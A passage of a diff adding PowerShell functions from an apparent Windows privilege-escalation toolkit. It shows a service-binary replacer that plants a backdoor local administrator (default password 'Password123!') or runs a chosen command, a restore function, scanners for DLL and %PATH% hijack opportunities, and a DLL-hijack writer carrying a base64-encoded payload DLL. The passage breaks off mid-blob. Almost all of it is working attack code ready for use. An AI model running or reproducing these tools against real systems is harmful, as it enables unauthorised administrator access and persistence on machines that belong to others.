adds it to specified LocalGroup or executes a custom command. + Domain users are only added to the specified LocalGroup. + + .PARAMETER ServiceName + + The service name to manipulate. Required. + + .PARAMETER UserName + + The [DOMAIN\username] to add, defaults to 'john'. + + .PARAMETER Password + + The password to set for the added user, default to 'Password123!'. + + .PARAMETER LocalGroup + + Local group to add the user to, defaults to 'Administrators'. + + .PARAMETER Command + + A custom command to execute. + + .EXAMPLE + + PS C:\> Install-ServiceBinary -ServiceName VulnSVC + + Replaces the binary for VulnSVC with one that adds a local administrator + to the local directory. Also backs up the original service binary. + + .EXAMPLE + + PS C:\> Install-ServiceBinary -ServiceName VulnSVC -UserName "TESTLAB\john" + + Replaces the binary for VulnSVC with one that adds TESTLAB\john to the local + administrators to the local directory. Also backs up the original service binary. + + .EXAMPLE + + PS C:\> Install-ServiceBinary -ServiceName VulnSVC -UserName backdoor -Password Password123! + + Replaces the binary for VulnSVC with one that adds a local administrator of + name 'backdoor' with password 'Password123!' to the local directory. + Also backs up the original service binary. + + .EXAMPLE + + PS C:\> Install-ServiceBinary -ServiceName VulnSVC -Command "net ..." + + Replaces the binary for VulnSVC with one that executes a local command + to the local directory. Also backs up the original service binary. +#> + + [CmdletBinding()] + Param( + [Parameter(ValueFromPipeline=$True, Mandatory = $True)] + [String] + $ServiceName, + + [String] + $UserName = "john", + + [String] + $Password = "Password123!", + + [String] + $LocalGroup = "Administrators", + + [String] + $Command + ) + + process { + # query WMI for the service + $TargetService = Get-WmiObject -Class win32_service -Filter "Name='$ServiceName'" | Where-Object {$_} + + # make sure we got a result back + if ($TargetService){ + try { + + $ServicePath = ($TargetService.PathName.Substring(0, $TargetService.PathName.IndexOf(".exe") + 4)).Replace('"',"") + $BackupPath = $ServicePath + ".bak" + + Write-Verbose "Backing up '$ServicePath' to '$BackupPath'" + try { + Move-Item -Path $ServicePath -Destination $BackupPath -Force + } + catch { + Write-Warning "[*] Original path '$ServicePath' for '$ServiceName' does not exist!" + } + + $Arguments = @{ + 'ServiceName' = $ServiceName + 'ServicePath' = $ServicePath + 'UserName' = $UserName + 'Password' = $Password + 'LocalGroup' = $LocalGroup + 'Command' = $Command + } + # splat the appropriate arguments to Write-ServiceBinary + $Result = Write-ServiceBinary @Arguments + $Result | Add-Member Noteproperty 'BackupPath' $BackupPath + $Result + } + catch { + Write-Warning "Error: $_" + $Out = New-Object PSObject + $Out | Add-Member Noteproperty 'ServiceName' $ServiceName + $Out | Add-Member Noteproperty 'ServicePath' $ServicePath + $Out | Add-Member Noteproperty 'Command' $_ + $Out | Add-Member Noteproperty 'BackupPath' $BackupPath + $Out + } + } + else{ + Write-Warning "Target service '$ServiceName' not found on the machine" + $Out = New-Object PSObject + $Out | Add-Member Noteproperty 'ServiceName' $ServiceName + $Out | Add-Member Noteproperty 'ServicePath' "Not found" + $Out | Add-Member Noteproperty 'Command' "Not found" + $Out | Add-Member Noteproperty 'BackupPath' $Null + $Out + } + } +} + + +function Restore-ServiceBinary { +<# + .SYNOPSIS + + Copies in the backup executable to the original binary path for a service. + + .PARAMETER ServiceName + + The service name to manipulate. Required. + + .PARAMETER BackupPath + + Optional manual path to the backup binary. + + .EXAMPLE + + PS C:\> Restore-ServiceBinary -ServiceName VulnSVC + + Restore the original binary for the service 'VulnSVC' +#> + + [CmdletBinding()] + Param( + [Parameter(ValueFromPipeline=$True, Mandatory = $True)] + [String] + $ServiceName, + + [String] + $BackupPath + ) + + process { + # query WMI for the service + $TargetService = Get-WmiObject -Class win32_service -Filter "Name='$ServiceName'" | Where-Object {$_} + + # make sure we got a result back + if ($TargetService){ + try { + + $ServicePath = ($TargetService.PathName.Substring(0, $TargetService.PathName.IndexOf(".exe") + 4)).Replace('"',"") + + if ($BackupPath -eq $null -or $BackupPath -eq ''){ + $BackupPath = $ServicePath + ".bak" + } + + Copy-Item -Path $BackupPath -Destination $ServicePath -Force + Remove-Item -Path $BackupPath -Force + + $Out = New-Object PSObject + $Out | Add-Member Noteproperty 'ServiceName' $ServiceName + $Out | Add-Member Noteproperty 'ServicePath' $ServicePath + $Out | Add-Member Noteproperty 'BackupPath' $BackupPath + $Out + } + catch{ + Write-Warning "Error: $_" + $Out = New-Object PSObject + $Out | Add-Member Noteproperty 'ServiceName' $ServiceName + $Out | Add-Member Noteproperty 'ServicePath' $_ + $Out | Add-Member Noteproperty 'BackupPath' $Null + $Out + } + } + else{ + Write-Warning "Target service '$ServiceName' not found on the machine" + $Out = New-Object PSObject + $Out | Add-Member Noteproperty 'ServiceName' $ServiceName + $Out | Add-Member Noteproperty 'ServicePath' "Not found" + $Out | Add-Member Noteproperty 'BackupPath' $Null + $Out + } + } +} + + +######################################################## +# +# .dll Hijacking +# +######################################################## + +function Find-DLLHijack { +<# + .SYNOPSIS + + Checks all loaded modules for each process and returns locations + where a loaded module does not exist in the executable base path. + + .PARAMETER ExcludeWindows + + Exclude paths from C:\Windows\* instead of just C:\Windows\System32\* + + .PARAMETER ExcludeProgramFiles + + Exclude paths from C:\Program Files\* and C:\Program Files (x86)\* + + .PARAMETER ExcludeOwned + + Exclude processes the current user owns. + + .EXAMPLE + + PS C:\> Find-DLLHijack + + Finds all hijackable DLL locations. + + .EXAMPLE + + PS C:\> Find-DLLHijack -ExcludeWindows -ExcludeProgramFiles + + Finds all hijackable DLL locations not in C:\Windows\* and + not in C:\Program Files\* or C:\Program Files (x86)\* + + .EXAMPLE + + PS C:\> Find-DLLHijack -ExcludeOwned + + Finds .DLL hijacking opportunities for processes not owned by the + current user. + + .LINK + + https://www.mandiant.com/blog/malware-persistence-windows-registry/ +#> + + [CmdletBinding()] + Param( + [Switch] + $ExcludeWindows, + + [Switch] + $ExcludeProgramFiles, + + [Switch] + $ExcludeOwned + ) + + $OrigError = $ErrorActionPreference + $ErrorActionPreference = "SilentlyContinue" + + # the known DLL cache to exclude from our findings + # http://blogs.msdn.com/b/larryosterman/archive/2004/07/19/187752.aspx + $Keys = (Get-Item "HKLM:\System\CurrentControlSet\Control\Session Manager\KnownDLLs") + $KnownDLLs = $(ForEach ($name in $Keys.GetValueNames()) { $Keys.GetValue($name) }) | Where-Object { $_.EndsWith(".dll") } + + # grab the current user + $CurrentUser = [System.Security.Principal.WindowsIdentity]::GetCurrent().Name + + # get the owners for all processes + $Owners = @{} + Get-WmiObject -Class win32_process | Where-Object {$_} | ForEach-Object {$Owners[$_.handle] = $_.getowner().user} + + + # iterate through all current processes that have a valid path + ForEach ($Process in Get-Process | Where-Object {$_.Path}) { + + # get the base path for the process + $BasePath = $Process.Path | Split-Path -Parent + + # get all the loaded modules for this process + $LoadedModules = $Process.Modules + + # pull out the owner of this process + $ProcessOwner = $Owners[$Process.id.tostring()] + + # check each loaded module + ForEach ($Module in $LoadedModules){ + + # create a basepath + loaded module + $ModulePath = "$BasePath\$($module.ModuleName)" + + # if the new module path + if ((-not $ModulePath.Contains("C:\Windows\System32")) -and (-not (Test-Path -Path $ModulePath)) -and ($KnownDLLs -NotContains $Module.ModuleName)) { + + $Exclude = $False + + # check exclusion flags + if ( $ExcludeWindows.IsPresent -and $ModulePath.Contains("C:\Windows") ){ + $Exclude = $True + } + if ( $ExcludeProgramFiles.IsPresent -and $ModulePath.Contains("C:\Program Files") ){ + $Exclude = $True + } + if ( $ExcludeOwned.IsPresent -and $CurrentUser.Contains($ProcessOwner) ){ + $Exclude = $True + } + + # output the process name and hijackable path if exclusion wasn't marked + if (-not $Exclude){ + $Out = New-Object PSObject + $Out | Add-Member Noteproperty 'ProcessPath' $Process.Path + $Out | Add-Member Noteproperty 'Owner' $ProcessOwner + $Out | Add-Member Noteproperty 'HijackablePath' $ModulePath + $Out + } + } + } + } + + $ErrorActionPreference = $OrigError +} + + +function Find-PathHijack { +<# + .SYNOPSIS + + Checks if the current %PATH% has any directories that are + writeable by the current user. + + .EXAMPLE + + PS C:\> Find-PathHijack + + Finds all %PATH% .DLL hijacking opportunities. + + .LINK + + http://www.greyhathacker.net/?p=738 +#> + + [CmdletBinding()] + Param() + + $OrigError = $ErrorActionPreference + $ErrorActionPreference = "SilentlyContinue" + + $Paths = (Get-Item Env:Path).value.split(';') | Where-Object {$_ -ne ""} + + ForEach ($Path in $Paths){ + + $Path = $Path.Replace('"',"") + if (-not $Path.EndsWith("\")){ + $Path = $Path + "\" + } + + # reference - http://stackoverflow.com/questions/9735449/how-to-verify-whether-the-share-has-write-access + $TestPath = Join-Path $Path ([IO.Path]::GetRandomFileName()) + + # if the path doesn't exist, try to create the folder before testing it for write + if(-not $(Test-Path -Path $Path)){ + try { + # try to create the folder + $Null = New-Item -ItemType directory -Path $Path + echo $Null > $TestPath + + $Out = New-Object PSObject + $Out | Add-Member Noteproperty 'HijackablePath' $Path + $Out | Add-Member Noteproperty 'AbuseFunction' "Write-HijackDll -OutputFile '$Path\wlbsctrl.dll' -Command '...'" + $Out + } + catch {} + finally { + # remove the directory + Remove-Item -Path $Path -Recurse -Force -ErrorAction SilentlyContinue + } + } + else{ + # if the folder already exists + try { + echo $Null > $TestPath + + $Out = New-Object PSObject + $Out | Add-Member Noteproperty 'HijackablePath' $Path + $Out | Add-Member Noteproperty 'AbuseFunction' "Write-HijackDll -OutputFile '$Path\wlbsctrl.dll' -Command '...'" + $Out + } + catch {} + finally { + # Try to remove the item again just to be safe + Remove-Item $TestPath -Force -ErrorAction SilentlyContinue + } + } + } + + $ErrorActionPreference = $OrigError +} + + +function Write-HijackDll { +<# + .SYNOPSIS + + Writes out a self-deleting 'debug.bat' file that executes a given command to + $env:Temp\debug.bat, and writes out a hijackable .dll that launches the .bat. + + .PARAMETER OutputFile + + File name to write the .dll to. + + .PARAMETER Command + + Command to run in the .bat launcher. + + .PARAMETER BatPath + + Path to the .bat for the .dll to launch. + + .PARAMETER Arch + + Architeture of .dll to generate, x86 or x64. If not specified, will try to + automatically determine. +#> + + [CmdletBinding()] + param( + [Parameter(Mandatory = $True)] + [String] + $OutputFile, + + [Parameter(Mandatory = $True)] + [String] + $Command, + + [String] + $BatPath, + + [String] + $Arch + ) + + function local:Invoke-PatchDll { + <# + .SYNOPSIS + + Patches a string in a binary byte array. + + .PARAMETER DllBytes + + Binary blog to patch. + + .PARAMETER FindString + + String to search for to replace. + + .PARAMETER ReplaceString + + String to replace FindString with + #> + + [CmdletBinding()] + param( + [Parameter(Mandatory = $True)] + [Byte[]] + $DllBytes, + + [Parameter(Mandatory = $True)] + [String] + $FindString, + + [Parameter(Mandatory = $True)] + [String] + $ReplaceString + ) + + $FindStringBytes = ([system.Text.Encoding]::UTF8).GetBytes($FindString) + $ReplaceStringBytes = ([system.Text.Encoding]::UTF8).GetBytes($ReplaceString) + + $Index = 0 + $S = [System.Text.Encoding]::ASCII.GetString($DllBytes) + $Index = $S.IndexOf($FindString) + + if($Index -eq 0) + { + throw("Could not find string $FindString !") + } + + for ($i=0; $i -lt $ReplaceStringBytes.Length; $i++) + { + $DllBytes[$Index+$i]=$ReplaceStringBytes[$i] + } + + return $DllBytes + } + + # generate with base64 -w 0 hijack32.dll > hijack32.b64 + $DllBytes32 = "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